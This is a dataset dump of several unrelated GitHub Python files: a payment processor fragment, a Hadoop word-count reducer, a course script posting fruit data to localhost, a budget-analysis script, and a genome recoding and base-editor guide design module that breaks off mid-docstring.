_format_error_html(msg):\n \"\"\" Format an HTML error message \"\"\"\n return u'

{msg}

'.format(msg=msg)\n\nCARDTYPE_MAP = defaultdict(lambda: \"UNKNOWN\")\nCARDTYPE_MAP.update(\n {\n '001': 'Visa',\n '002': 'MasterCard',\n '003': 'American Express',\n '004': 'Discover',\n '005': 'Diners Club',\n '006': 'Carte Blanche',\n '007': 'JCB',\n '014': 'EnRoute',\n '021': 'JAL',\n '024': 'Maestro',\n '031': 'Delta',\n '033': 'Visa Electron',\n '034': 'Dankort',\n '035': 'Laser',\n '036': 'Carte Bleue',\n '037': 'Carta Si',\n '042': 'Maestro Int.',\n '043': 'GE Money UK card'\n }\n)\n\n\n","repo_name":"madvolume/edx-platform","sub_path":"lms/djangoapps/shoppingcart/processors/LiqPay.py","file_name":"LiqPay.py","file_ext":"py","file_size_in_byte":20080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8936109059","text":"\n\nimport sys\n \ncurrent_word = None\ncurrent_count = 0\nword = None\n \n#获取标准输入,即mapper.py的输出\n#obtain stdin, which is the output of mapper.py\nfor line in sys.stdin:\n line = line.strip()\n #解析mapper.py输出作为程序的输入,以tab作为分隔符\n #Delimiter: \\t\n word,count = line.split('\\t',1)\n \n try:\n count = int(count)\n except ValueError:\n #非字符时忽略此行\n #Ignore\n continue\n #要求mapper.py的输出做排序(sort)操作,以便对连续的word做判断\n if current_word == word:\n current_count += count\n else:\n if current_word:\n #输出当前word统计结果到标准输出\n #Output the current result to stdin\n print ('%s\\t%s' %(current_word,current_count))\n current_count = count\n current_word = word\n \n#输出最后一个word统计\nif current_word ==word:\n print ('%s\\t%s' % (current_word,current_count))\n\n# $ echo \"foo foo quux labs foo bar quux\" | ./mapper.py | sort -k1,1 | ./reducer.py","repo_name":"JunqiYangjqy/Learning-Notes","sub_path":"Cloud/wordcount/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9440887490","text":"#! /usr/bin/env python3\n\nimport os\nimport requests\nimport re\n\ndesc_path = 'supplier-data/descriptions/' \nimage_path = 'supplier-data/images/'\n\ntext_files = sorted(os.listdir(desc_path))\njpeg_images = sorted([image_name for image_name in os.listdir(image_path) if '.jpeg' in image_name])\n\nlist_content = []\nimage_counter = 0\n\nfor file in text_files:\n format = ['name', 'weight', 'description']\n \n with open(desc_path + file, 'r') as f:\n data = {}\n contents = f.read().split(\"\\n\")[0:3]\n \n contents[1] = int((re.search(r'\\d+', contents[1])).group())\n \n counter = 0\n for content in contents:\n data[format[counter]] = content\n counter += 1\n \n data['image_name'] = jpeg_images[image_counter]\n \n list_content.append(data)\n image_counter +=1\n\n# print(list_content)\n\nfor item in list_content:\n resp = requests.post('http://127.0.0.1:80/fruits/', json=item)\n if resp.status_code != 201:\n raise Exception('POST error status={}'.format(resp.status_code))\n print('Created feedback ID: {}'.format(resp.json()[\"id\"]))\n","repo_name":"thestig1990/google_it_automation_with_python","sub_path":"06_Automating Real-World Tasks with Python/Module_4 Putting It All Together/01_Final Course Project/project/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"13175307027","text":"import os\nimport csv\n\nDate = []\nProfit = []\nChangelist = []\n\n\ncsvpath = os.path.join(\"Resources\", \"budget_data.csv\")\n\nwith open(csvpath) as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n csv_header = next(csvreader)\n\n for row in csvreader:\n Date.append(row[0])\n Profit.append(int(row[1]))\n\nfor x in range(len(Profit)-1):\n Change = Profit[x+1] - Profit[x]\n Changelist.append(Change)\n\nTotal_Months = len(Date)\nTotal_Profits = sum(Profit)\nAvg_Change = round(sum(Changelist)/len(Changelist), 2)\nIncrease = max(Changelist)\nDecrease = min(Changelist)\nIncreaseindex = Changelist.index(Increase)\nDecreaseindex = Changelist.index(Decrease)\nMaxDate = Date[Increaseindex+1]\nMinDate = Date[Decreaseindex+1]\n\n\n\nprint(\"Financial Analysis\")\nprint(\"---------------------\")\nprint(f\"Total Months: {Total_Months}\")\nprint(f\"Total: ${Total_Profits}\")\nprint(f\"Average Change: ${Avg_Change}\")\nprint(f\"Greatest Increase in Profits: {MaxDate} (${Increase})\")\nprint(f\"Greatest Decrease in Profits: {MinDate} (${Decrease})\")\n\n\nanalysis = os.path.join(\"analysis\",\"Pybank.txt\")\nfile = open(analysis, 'w')\n\nfile.writelines(\"Financial Analysis\"+'\\n')\nfile.writelines(\"---------------------\"+'\\n')\nfile.writelines(f\"Total Months: {Total_Months}\"+'\\n')\nfile.writelines(f\"Total: ${Total_Profits}\"+'\\n')\nfile.writelines(f\"Average Change: ${Avg_Change}\"+'\\n')\nfile.writelines(f\"Greatest Increase in Profits: {MaxDate} (${Increase})\"+'\\n')\nfile.writelines(f\"Greatest Decrease in Profits: {MinDate} (${Decrease})\"+'\\n')\n","repo_name":"bthuynh/python-challenge","sub_path":"Pybank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12254735087","text":"from array import array # this will be needed for finding the reverse complement of strings and recoding chromosomes\nimport primer3 as p3 # this will be used in the get_cas9_site_primers function in the Gene class\nimport pandas as pd # this will be used to process gene essentiality data retrieved from a .csv\n\n########################################################################################################################\n\n# This isn't generally recommended, but set this to True if you want to find primers for every single gene when\n# instantiating them, however, this will slow down runtime, and if you only need primers for some genes, you can call\n# the get_cas9_site_primers() function in the Gene class for certain genes AFTER instantiating a chromosome.\nfind_all_primers = False\n\n# genetic code, bases, stops\ngen_code = {'ATA': 'I', 'ATC': 'I', 'ATT': 'I', 'ATG': 'M', 'ACA': 'T', 'ACC': 'T', 'ACG': 'T', 'ACT': 'T', 'AAC': 'N',\n 'AAT': 'N', 'AAA': 'K', 'AAG': 'K', 'AGC': 'S', 'AGT': 'S', 'AGA': 'R', 'AGG': 'R', 'CTA': 'L', 'CTC': 'L',\n 'CTG': 'L', 'CTT': 'L', 'CCA': 'P', 'CCC': 'P', 'CCG': 'P', 'CCT': 'P', 'CAC': 'H', 'CAT': 'H', 'CAA': 'Q',\n 'CAG': 'Q', 'CGA': 'R', 'CGC': 'R', 'CGG': 'R', 'CGT': 'R', 'GTA': 'V', 'GTC': 'V', 'GTG': 'V', 'GTT': 'V',\n 'GCA': 'A', 'GCC': 'A', 'GCG': 'A', 'GCT': 'A', 'GAC': 'D', 'GAT': 'D', 'GAA': 'E', 'GAG': 'E', 'GGA': 'G',\n 'GGC': 'G', 'GGG': 'G', 'GGT': 'G', 'TCA': 'S', 'TCC': 'S', 'TCG': 'S', 'TCT': 'S', 'TTC': 'F', 'TTT': 'F',\n 'TTA': 'L', 'TTG': 'L', 'TAC': 'Y', 'TAT': 'Y', 'TAA': '*', 'TAG': '*', 'TGC': 'C', 'TGT': 'C', 'TGA': '*',\n 'TGG': 'W', '': 'X'}\nstop_codons = ['TAA', 'TAG', 'TGA']\nbases = ['A', 'C', 'G', 'T']\n\n########################################################################################################################\n\n\ndef get_essentiality_data(ess_data_dir):\n\n # Get genomic gene essentiality data downloaded from the OGEE database\n # http://ogee.medgenius.info/browse/Homo%20sapiens\n\n ogee_data = pd.read_csv(ess_data_dir + 'Homo sapiens_consolidated.csv') # csv from OGEE with essentiality data\n essentiality_data = {} # dict to store gene keys and essentiality data values\n symbols = ogee_data['symbols'].tolist() # gene names\n status = ogee_data['essentiality status'].tolist() # essentiality data\n for i in range(len(symbols)): # for each gene from the csv\n e_count = status[i].count('E') # get number of 'E's\n ne_count = status[i].count('NE') # get number of 'NE's\n essentiality_data[symbols[i]] = [e_count-ne_count, ne_count] # fill in data into dict\n return essentiality_data\n\n\ndef get_name(line):\n \"\"\"\n :param line: a str representing a header line from a genbank file with information on a gene CDS\n :return: str giving the name of that gene\n \"\"\"\n name_start = line.find('gene=') + 5\n name_end = line.find(']', name_start)\n gene_name = line[name_start:name_end]\n return gene_name\n\n\ndef get_strand(line):\n \"\"\"\n :param line: a str representing a header line from a genbank file with information on a gene CDS\n :return: bool giving the strand of that gene\n \"\"\"\n strand_start = line.find('location=') + 9\n if line[strand_start:strand_start+4] == 'comp': # (complement) if negative\n return False\n else: # if positive\n return True\n\n\ndef get_idxs(line):\n \"\"\"\n :param line: a str representing a line from a genbank file with information on a gene CDS\n :return: a list of lists where each inner list is a pair of inds giving the start and stop of a coding segment\n \"\"\"\n inds = [] # the list of lists to be returned\n curr_start = '' # string storing the numbers for the start being added\n curr_stop = '' # string storing the numbers for the stop being added\n on_start = True # a switch that tells if we are adding to a start or stop\n i = line.find('location=') + 9 # start i as index near where inds begin\n\n while True: # this small loop positions i at the first number\n if line[i].isnumeric():\n break\n elif line[i] in '<>':\n return -1 # when there is an error in genbank file that doesn't give hard bounds on segments\n i += 1\n\n while True: # this loop builds the list of start / stop pairs\n if line[i].isnumeric() and on_start: # add digit to start\n curr_start += line[i]\n elif line[i].isnumeric() and not on_start: # add digit to stop\n curr_stop += line[i]\n elif not line[i].isnumeric() and on_start: # skip over the '..'\n if line[i] == '.': # if this start index is followed by a stop\n i += 1\n on_start = False\n else: # if the start index stands alone; reset and append\n inds.append([int(curr_start)-1, int(curr_start)]) # -1 for pythonic indexing\n curr_start = ''\n curr_stop = ''\n elif line[i] in '<>': # when there is an error in genbank file that doesn't give hard bounds on segments\n return -1\n else: # reset and append the start and stop to the list\n on_start = True\n inds.append([int(curr_start)-1, int(curr_stop)]) # -1 for pythonic indexing\n curr_start = ''\n curr_stop = ''\n if line[i] == ')' or line[i] == ']': # signifies the end of the frame\n break\n i += 1 # increment the position\n\n return inds\n\n\ndef rc(sequence):\n \"\"\"\n :param sequence: a string made of chars ACGTBDHVRYSW\n :return: str giving reverse complement of seq\n \"\"\"\n reverse = array('B') # array mod imported above\n for b in reversed(sequence): # build reverse complement base by base\n if b == 'A':\n reverse.append(84)\n elif b == 'T':\n reverse.append(65)\n elif b == 'G':\n reverse.append(67)\n elif b == 'C':\n reverse.append(71)\n elif b == 'B':\n reverse.append(86)\n elif b == 'D':\n reverse.append(72)\n elif b == 'H':\n reverse.append(68)\n elif b == 'V':\n reverse.append(66)\n elif b == 'R':\n reverse.append(89)\n elif b == 'Y':\n reverse.append(82)\n elif b == 'S':\n reverse.append(87)\n elif b == 'W':\n reverse.append(83)\n else:\n reverse.append(ord(b))\n reverse = str(reverse.tobytes())[2:-1] # convert to a string and trim off the extra characters\n return reverse\n\n\ndef order_around_mid(sites, mid):\n \"\"\"\n :param sites: a list\n :param middle of window\n :return: a list with the same elements as the input but ordered with the middlemost elements first and last last\n \"\"\"\n\n if not sites:\n return []\n\n return_list = [] # list to build and return\n\n diffs = [abs(mid - pos) for pos in sites] # get the distances from each to the middles\n\n m = max(diffs) + 1\n\n for i in range(len(sites)):\n closest_idx = diffs.index(min(diffs)) # find smallest diff from the middle\n return_list.append(sites[closest_idx]) # add to return_list\n diffs[closest_idx] += m # add the max to the index so that it's not found again to be the closest\n\n return return_list\n\n\nclass Chromosome:\n\n def __init__(self, chromosome_id, data_dir, cbe_window, abe_window, primer_size_range):\n \"\"\"\n :param chromosome_id: str or int identifying the chromosome\n :param data_dir: str giving directory\n :param cbe_window: tuple giving edit range for c base editors\n :param abe_window: tuple giving edit range for a base editors\n :param primer_size_range: tuple giving acceptable range of primer sizes\n \"\"\"\n self.name = str(chromosome_id).upper() # chromosome name\n self.data_dir = data_dir\n self.cbe_window = cbe_window\n self.abe_window = abe_window\n self.primer_sizes = primer_size_range\n self.c_mid = sum(self.cbe_window) / 2\n self.a_mid = sum(self.abe_window) / 2\n self.seq = self.get_seq() # original chromosome\n self.genes = self.get_genes_as_lists() # dict with gene names as keys and strand and isos in a list as values\n self.all_sites, self.gene_all_sites = self.get_all_sites() # get all edit sites\n self.be_sites, self.gene_be_sites = self.get_editor_sites() # get base editable sites\n self.recoded_seq = self.get_recoded_seq() # recoded chromosome\n self.essentiality_data = get_essentiality_data(self.data_dir)\n self.genes = self.get_genes_as_objects() # get gene objects, and store by overwriting the old self.genes\n self.multifunctional_sites = self.get_multifunctional_sites() # get dictionary of multifunctional sites\n\n # standard initialization\n p3.bindings.setP3Globals({'PRIMER_OPT_SIZE': 20,\n 'PRIMER_PICK_INTERNAL_OLIGO': 1,\n 'PRIMER_INTERNAL_MAX_SELF_END': 8,\n 'PRIMER_MIN_SIZE': 18,\n 'PRIMER_MAX_SIZE': 25,\n 'PRIMER_OPT_TM': 60.0,\n 'PRIMER_MIN_TM': 57.0,\n 'PRIMER_MAX_TM': 63.0,\n 'PRIMER_MIN_GC': 20.0,\n 'PRIMER_MAX_GC': 80.0,\n 'PRIMER_MAX_POLY_X': 100,\n 'PRIMER_INTERNAL_MAX_POLY_X': 100,\n 'PRIMER_SALT_MONOVALENT': 50.0,\n 'PRIMER_DNA_CONC': 50.0,\n 'PRIMER_MAX_NS_ACCEPTED': 0,\n 'PRIMER_MAX_SELF_ANY': 12,\n 'PRIMER_MAX_SELF_END': 8,\n 'PRIMER_PAIR_MAX_COMPL_ANY': 12,\n 'PRIMER_PAIR_MAX_COMPL_END': 8,\n 'PRIMER_PRODUCT_SIZE_RANGE': [self.primer_sizes]})\n\n def get_seq(self):\n \"\"\"\n :return: a string giving the chromosome sequence\n \"\"\"\n path = self.data_dir + 'chr' + self.name + '.fasta'\n with open(path, \"r\") as f: # open and read chromosome seq\n seq = f.read()\n\n seq = seq[seq.index('\\n'):] # cut off first line\n seq = seq.replace('\\n', '') # remove newline chars\n seq = seq.upper() # make upper case\n return seq\n\n def get_genes_as_lists(self):\n \"\"\"\n :return: a dict with keys as gene names, values as lists with [0][0] = a str telling the chr name, [0][1]\n = bool to indicate if its on the positive strand, and [1] as another list. [1][x] gives the chromosomal indices\n for an isoform of the gene. [1][x][0] and [1][x][1] are the start and stop indices of a segment in that\n isoform. The dictionary returned will have all \"unique\" gene isoforms--unique in the sense that they all will\n have some exon that isn't contained and in the same frame as another, longer isoform. However, nonunique\n isoforms will pass through if they have a segment covered from both sides by 2 alternative longer isoforms in\n the same frame. But this is not common, and not really a problem.\n \"\"\"\n\n genes = {} # the dictionary that will be returned.\n\n path = (self.data_dir + 'chr' + self.name + '_cds.fasta') # this is how the gene data is named locally\n with open(path, \"r\") as f: # open and read gene info line by line\n lines = f.readlines() # get lines as list\n num_lines = len(lines) # get number of lines\n\n initialize = True # set to be true just for the starting case, and then permanently made false.\n curr_gene = '' # a str to represent the gene currently being parsed\n curr_strand = None # a bool to indicate the current gene's strand\n curr_inds = [] # a list of lists with each inner list being indices for a unique isoform of the gene.\n\n # the code below puts genes into its first state with long iso lists\n for i in range(num_lines): # go through the lines of the file\n\n if lines[i][0] != '>':\n continue # skip over lines that aren't headers\n\n if 'pseudo=true' in lines[i]:\n continue # skip over pseudogenes\n\n found_gene = get_name(lines[i]) # get name as string through function call\n\n if curr_gene == found_gene: # if not new, add the inds to curr_inds\n inds = get_idxs(lines[i]) #\n if inds != -1: # if data on this gene is valid, add it\n curr_inds.append(inds) # append -1 to curr_inds to show the error\n continue # skip to next line\n elif not initialize: # if a new gene, add the last to the dict\n genes[curr_gene] = [curr_strand, curr_inds]\n else:\n initialize = False # this is permanent\n\n # update curr_gene, curr_strand, and curr_inds with function calls\n curr_gene = found_gene\n curr_strand = get_strand(lines[i])\n inds = get_idxs(lines[i])\n if inds != -1: # if indices not valid\n curr_inds = [inds]\n else:\n curr_inds = [[]]\n genes[curr_gene] = [curr_strand, curr_inds] # get the last gene in the file after the loop is done\n\n # Now, we remove isoforms that are nonunique from each gene.\n # However, nonunique isoforms will pass through if they have a segment covered from both sides by 2 alternate\n # isoforms in the same frame.\n # Here, frames are relative, so we don't need to correct for strand\n for g in genes:\n\n # this section sorts the isoforms long to short\n iso_lens = [] # parallel to genes[g][1] and stores lens of the isos\n sorted_isos = [] # to build the list of sorted ones\n for iso in genes[g][1]: # build the list of lengths\n iso_len = 0\n for seg in iso: # calculate isoform length\n iso_len += seg[1] - seg[0]\n iso_lens.append(iso_len)\n for i in range(len(iso_lens)): # builds the iso list from the lens\n longest = iso_lens.index(max(iso_lens))\n sorted_isos.append(genes[g][1][longest])\n iso_lens[longest] = 0\n\n # this section creates a a parallel list of each segment's reading frames\n sorted_isos_frames = [] # parallel to sorted_isos; stores seg frames the number refers to the base in the\n # seg the first codon starts at\n for iso in sorted_isos:\n frames = [0] # the first frame is always 0\n for i in range(1, len(iso)): # iterate through segments; start at pair 1\n frames.append((iso[i-1][1] - iso[i-1][0] - frames[i-1]) % 3)\n sorted_isos_frames.append(frames) # add iso frames to the list\n\n # this section makes a final list without most nonunique isos (but some special cases could have one slip\n # through such as if an isoform seg is nonunique but only because it is covered on both sides by overlapping\n # segments of the same frame in 2 other isos)\n if len(sorted_isos) > 0: # if this gene had valid isos and len > 0\n sorted_isos_final = [sorted_isos[0]] # initialize list--will go into dict eventually\n else: # if not, it's just an empty list\n sorted_isos_final = []\n for i in range(1, len(sorted_isos)): # for each sorted iso from [1]\n nonunique = 0 # count of nonunique segments that tells to add or not\n for j in range(len(sorted_isos[i])): # for each seg\n for k in range(i): # for each sorted isoform UP TO this one\n keep_going = True # for breaking out of the outer loop\n for l in range(len(sorted_isos[k])): # segments in prev isos\n # if this segment is nonunique in scope and frame\n if (sorted_isos[i][j][0] >= sorted_isos[k][l][0] and\n sorted_isos[i][j][1] <= sorted_isos[k][l][1] and\n sorted_isos_frames[i][j] ==\n sorted_isos_frames[k][l]):\n nonunique += 1 # add count\n keep_going = False # to break outer loop\n break # to break inner loop\n if not keep_going: # to break out of the outer loop\n break\n if nonunique < len(sorted_isos[i]): # if a seg was unique\n sorted_isos_final.append(sorted_isos[i]) # add to unique isos\n genes[g][1] = sorted_isos_final # make this list of lists the [1] element in the dict value for this gene\n\n return genes\n\n def get_all_sites(self):\n \"\"\"\n :return: first, a list of genomic edit sites with two inner lists. The first is for the + strand, and the second\n for the - strand. Second, a dictionary with genes as keys and a list of sites and values.\n Note: this function doesn't just take the positions of the last bases in isoforms. It only does so if it\n confirms that the last codon is a TAG. Data from genbank on some genes alleges that the coding sequence ends\n with something other than a stop codon.\n \"\"\"\n\n # sites[0] is a list of target G locations in the genome in the + strand\n # sites[1] is a list of target C locations in the genome in the - strand\n sites = [[], []]\n\n # the keys are gene names and the values are lists of sites\n gene_sites = {}\n\n for gene_name, gene_list in self.genes.items():\n gene_sites[gene_name] = [] # initialize value list\n isos = gene_list[1] # get isoform list\n\n if gene_list[0]: # for + strand gene case\n for iso in isos:\n if iso and self.seq[iso[-1][-1]-3: iso[-1][-1]] == 'TAG': # if this is a TAG stop codon\n gene_sites[gene_name].append(iso[-1][-1]-1) # store G location\n else: # for a - strand case\n for iso in isos:\n if iso and self.seq[iso[0][0]: iso[0][0]+3] == 'CTA': # if this is a TAG stop codon\n gene_sites[gene_name].append(iso[0][0]) # store C location\n\n gene_sites[gene_name] = sorted(list(set(gene_sites[gene_name]))) # sort and remove duplicates, add to dict\n\n if gene_list[0]: # add to genomic sites list\n sites[0] += gene_sites[gene_name]\n else: # add to genomic sites list\n sites[1] += gene_sites[gene_name]\n\n sites[0] = sorted(list(set(sites[0]))) # sort and uniquify\n sites[1] = sorted(list(set(sites[1]))) # sort and uniquify\n\n return sites, gene_sites\n\n def get_editor_sites(self):\n \"\"\"\n :return: lists of lists giving + and - genomic nuclease and base editor sites and dicts giving nuclease and base\n editor sites by gene\n This assumes an NG pam\n \"\"\"\n\n be_sites = [{}, {}] # keys to be indices and values to be cas9 targets + pams [0] is + sites and [1] is -\n\n for site in self.all_sites[0]:\n a_guides, c_guide = self.get_be_edit_guides(site, True)\n be_sites[0][site] = [a_guides, c_guide]\n\n for site in self.all_sites[1]:\n a_guides, c_guide = self.get_be_edit_guides(site, False)\n be_sites[1][site] = [a_guides, c_guide]\n\n # initialize dictionaries to store gene be and nuclease sites\n gene_be_sites = {} # keys are gene names, values are dicts with index keys and guide pair list values\n\n # build the gene be sites and gene nuclease sites dicts from the gene_all_sites dict and the be_sites dict\n for gene in self.gene_all_sites:\n gene_be_sites[gene] = {}\n if self.genes[gene][0]: # + strand case\n for site in self.gene_all_sites[gene]:\n gene_be_sites[gene][site] = be_sites[0][site]\n else:\n for site in self.gene_all_sites[gene]: # - strand case\n gene_be_sites[gene][site] = be_sites[1][site]\n\n return be_sites, gene_be_sites\n\n def get_recoded_seq(self):\n \"\"\"\n :return: str of the recoded seq of the GRCh38 version of the chromosome\n \"\"\"\n # get the chromosome as a char array\n chromosome_array = array('B')\n chromosome_array.frombytes(self.seq.encode())\n\n for i in self.all_sites[0]:\n chromosome_array[i] = 65 # change to an A to make TAG->TAA\n for i in self.all_sites[1]:\n chromosome_array[i] = 84 # change complement to a T to make CTA->TTA\n\n # get the string back and trim off the b' and '\n seq = str(chromosome_array.tobytes())[2:-1]\n\n return seq\n\n def get_genes_as_objects(self):\n \"\"\"\n :return: a dict with gene name keys and gene object values\n This is the final call of the init function. Prior to this call, gene info is stored in dicts with heterogeneous\n strings as values. This actually uses that info to make classes.\n \"\"\"\n genes = {} # to be filled and returned\n\n # fill a new dictionary with genes as objects instead of lists, passing all params into the Gene init function\n for name, gene_list in self.genes.items():\n genes[name] = Gene(self, name, gene_list[0], gene_list[1], 0, self.gene_all_sites[name],\n self.gene_be_sites[name])\n return genes\n\n def get_multifunctional_sites(self):\n \"\"\"\n Looks for edit sites that have another coding function somewhere else\n :return: a dict of int site keys and list values with [0] as the stop codon gene and [1] as the conflicting one\n \"\"\"\n multifunctional = {} # this will be filled with site keys and list values where the lists are gene names\n\n for name1, gene1 in self.genes.items(): # for each gene\n for site in gene1.all_sites: # for each edit site in that gene\n for name2, gene2 in self.genes.items(): # for each gene\n for iso in gene2.isos: # for each iso in that second gene\n for exon in iso: # for each exon in that iso\n if exon[0] <= site < exon[1]: # if site inside the exon\n same_strand = gene1.strand == gene2.strand # to help determine if both are stops\n both_stops = False # to be turned true if they are\n if same_strand and gene1.strand and site == iso[-1][-1]-1: # if both + stops\n both_stops = True\n elif same_strand and not gene1.strand and site == iso[0][0]: # if both - stops\n both_stops = True\n if not both_stops: # if this site is truly multifunctional\n multifunctional[site] = [name1, name2] # add to dict\n return multifunctional\n\n def get_be_edit_guides(self, site, strand):\n \"\"\"\n site is position of G to edit to an A\n strand is the strand as a bool\n Return a list where [0] is a list of ABE guides for daisy chaining, and [1] is a CBE guide\n # if this is not possible, then this return [-1, -1]\n \"\"\"\n\n if strand:\n right_pam = []\n for pos in range(self.cbe_window[0], self.cbe_window[1]): # for each position in the cbe_window\n if self.seq[site + pos - 22] == 'C': # if the pam is correct (C complements G)\n right_pam.append(pos)\n right_pam = order_around_mid(right_pam, self.c_mid)\n if right_pam: # if a valid position exists\n position = right_pam[0] # use most central site\n c_guide = rc(self.seq[site + position - 22: site + position])\n return [], c_guide\n\n else:\n right_pam = []\n for pos in range(self.cbe_window[0], self.cbe_window[1]): # for each position in the cbe_window\n if self.seq[site - pos + 22] == 'G':\n right_pam.append(pos)\n right_pam = order_around_mid(right_pam, self.c_mid)\n if right_pam:\n position = right_pam[0] # use most central site\n c_guide = self.seq[site - position + 1: site - position + 23]\n return [], c_guide # no ABE guides needed\n\n # executing the code below means that no PAM was found, and we have to to make a daisy chain\n a_sites = []\n if strand:\n for pos in range(self.cbe_window[0], self.cbe_window[1]):\n if self.seq[site + pos - 22] == 'T': # if there's an A\n a_sites.append(site+pos-22)\n mid_idx = site + self.c_mid - 22\n else:\n for pos in range(self.cbe_window[0], self.cbe_window[1]): # for each position in the cbe_window\n if self.seq[site - pos + 22] == 'A': # if there's an A\n a_sites.append(site-pos+22)\n mid_idx = site - self.c_mid + 22\n\n if not a_sites:\n return -1, -1 # failed to find daisy chain-able sites\n\n else:\n # order the sites from middle outward because of higher fidelity in the middle of base editor windows\n a_sites = order_around_mid(a_sites, mid_idx)\n a_guides, a_idx = self.get_be_daisy_chain_guides(a_sites, strand)\n\n if a_guides == -1: # if it is not possible ot daisy-chain edit\n return -1, -1\n else:\n if strand: # add the last guide in the daisy chain with the altered PAM\n c_guide = rc(self.seq[a_idx+1: a_idx+22]) + 'G'\n else:\n c_guide = self.seq[a_idx-21: a_idx] + 'G'\n\n return a_guides, c_guide\n\n def get_be_daisy_chain_guides(self, sites, strand):\n \"\"\"\n site is positions of As to edit\n strand is the strand as a bool\n \"\"\"\n\n a_guides = []\n\n prevs = [-1 for i in range(len(sites))] # make a parallel list to sites that gives the previous chain links\n\n site_idx = 0 # index\n for site in sites:\n # first, we want to see if this A can be made to a G using an ABE\n right_pam = []\n if strand:\n for pos in range(self.abe_window[0], self.abe_window[1]): # for each position in the cbe_window\n if self.seq[site + pos - 22] == 'C': # if the pam is correct\n right_pam.append(pos)\n else:\n for pos in range(self.abe_window[0], self.abe_window[1]): # for each position in the cbe_window\n if self.seq[site - pos + 22] == 'G': # if the pam is correct\n right_pam.append(pos)\n\n right_pam = order_around_mid(right_pam, self.a_mid) # order middle outward for best fidelity\n\n if right_pam: # if one or more found\n curr_idx = site_idx\n curr_pos = right_pam[0]\n\n while True: # while tracing back the chain to the first A\n # get the guide for each parent\n if strand:\n guide = rc(self.seq[sites[curr_idx]+curr_pos-22: sites[curr_idx]+curr_pos])\n else:\n guide = self.seq[sites[curr_idx]-curr_pos+1: sites[curr_idx]-curr_pos+23]\n a_guides.append(guide)\n if prevs[curr_idx] == -1: # break when you get to the final site\n break\n last_idx = curr_idx\n curr_idx = prevs[last_idx]\n curr_pos = 22 - abs(sites[last_idx] - sites[curr_idx])\n\n for i in range(1, len(a_guides)): # change A's in guides for G's (except for the first in the chain)\n a_guides[i] = a_guides[i][:-1] + 'G'\n\n return a_guides, sites[curr_idx]\n\n else: # if none were found, look for A's and add sites to queue\n a_sites = []\n if strand:\n for pos in range(self.abe_window[0], self.abe_window[1]): # for each position in the abe_window\n if self.seq[site + pos - 22] == 'T': # if and A\n a_sites.append(site + pos - 22)\n mid_idx = site + self.a_mid - 22\n else:\n for pos in range(self.abe_window[0], self.abe_window[1]): # for each position in the abe_window\n if self.seq[site - pos + 22] == 'A': # if an A\n a_sites.append(site - pos + 22)\n mid_idx = site - self.a_mid + 22\n sites += order_around_mid(a_sites, mid_idx)\n prevs += [site_idx for i in range(len(a_sites))]\n\n site_idx += 1 # increment index\n\n return -1, -1 # if no potential daisy chain scheme was found\n\n\nclass Gene:\n\n def __init__(self, chromosome, gene_name, strand, isos, active_iso, all_sites, be_sites):\n \"\"\"\n :param chromosome: the paranet chromosome object in who's initialization this gene object is created\n :param name: string giving gene name\n :param strand: True if +, False if -\n :param isos: list of listpairs giving isoforms and exon starts and stops\n :param all_sites: list of all editing sites in this gene\n :param be_sites: dict of site keys and guide values\n \"\"\"\n self.chromosome = chromosome # the chromosome this object is part of\n self.name = gene_name # name\n self.strand = strand # True for + strand, False for -\n if self.name in self.chromosome.essentiality_data: # if this gene in essentiality_data\n self.essentiality = self.chromosome.essentiality_data[self.name] # get data as [num_ess, num_noness]\n else: # if this gene in essentiality_data, usually because we're trying to find it with the wrong alias\n self.essentiality = 'unavailable'\n self.isos = isos # the list of \"unique\" isoforms\n self.active_iso = active_iso # the index of the iso to use for this gene (defaults at 0 changes if data erorr)\n self.all_sites = all_sites # get all sites\n self.be_sites = be_sites # get be edit sites\n self.cds = self.get_cds(recode=False) # cds of isoform\n self.recoded_cds = self.get_cds(recode=True) # recoded cds of isoform\n self.gene_region = self.get_gene_region(recode=False) # get whole gene region\n self.recoded_gene_region = self.get_gene_region(recode=True) # get whole gene region, recoded\n\n def get_cds(self, iso=0, recode=False):\n \"\"\"\n :param iso: which isoform (when sorted longest to shortest) to return the cds of\n :param recode: bool telling whether or not to return the recoded cds\n :return: a string giving the coding sequence\n \"\"\"\n if len(self.isos[0]) == 0: # if no indices available, return empty str\n return ''\n\n segments = self.isos[iso] # get segment list\n cds = '' # initialize the string to build\n\n if not recode: # build nonrecoded sequence\n for seg in segments:\n cds += self.chromosome.seq[seg[0]:seg[1]]\n else: # build recoded sequence\n for seg in segments:\n cds += self.chromosome.recoded_seq[seg[0]:seg[1]]\n\n if len(cds) % 3 != 0 and iso < len(self.isos)-1: # if error and cds wrong length, try to get another iso\n return self.get_cds(iso=iso+1, recode=recode)\n\n elif len(cds) % 3 != 0: # if error and cds wrong length and no alternatives, return empty string\n self.active_iso = None\n return ''\n\n if not self.strand: # rc is neg strand\n cds = rc(cds)\n\n self.active_iso = iso\n\n return cds\n\n def get_gene_region(self, recode=False, flank=0):\n \"\"\"\n :param recode: bool which tells whether or not to return the recoded gene\n :param flank: int which tells how many extra bases to return flanking the region on either side\n :return: a str giving the whole gene region from first start codon to last stop codon w/ flanking bases\n \"\"\"\n\n if len(self.isos[0]) == 0 or self.active_iso is None: # if no isos for gene because of gbk data error\n return ''\n\n leftmost = self.isos[0][0][0] # 5' most index for an exon of this gene\n rightmost = self.isos[0][-1][-1] # 3' most index for an exon of this gene\n for iso in self.isos: # find leftmost and rightmost indices\n if iso[0][0] < leftmost:\n leftmost = iso[0][0]\n if iso[-1][-1] > rightmost:\n rightmost = iso[-1][-1]\n\n # add flank\n leftmost -= flank\n rightmost += flank\n\n if recode:\n if self.strand:\n return self.chromosome.recoded_seq[leftmost: rightmost]\n else:\n return rc(self.chromosome.recoded_seq[leftmost: rightmost])\n else:\n if self.strand:\n return self.chromosome.seq[leftmost: rightmost]\n else:\n return rc(self.chromosome.seq[leftmost: rightmost])\n\n def get_primer_info(self, window_size=350):\n \"\"\"\n 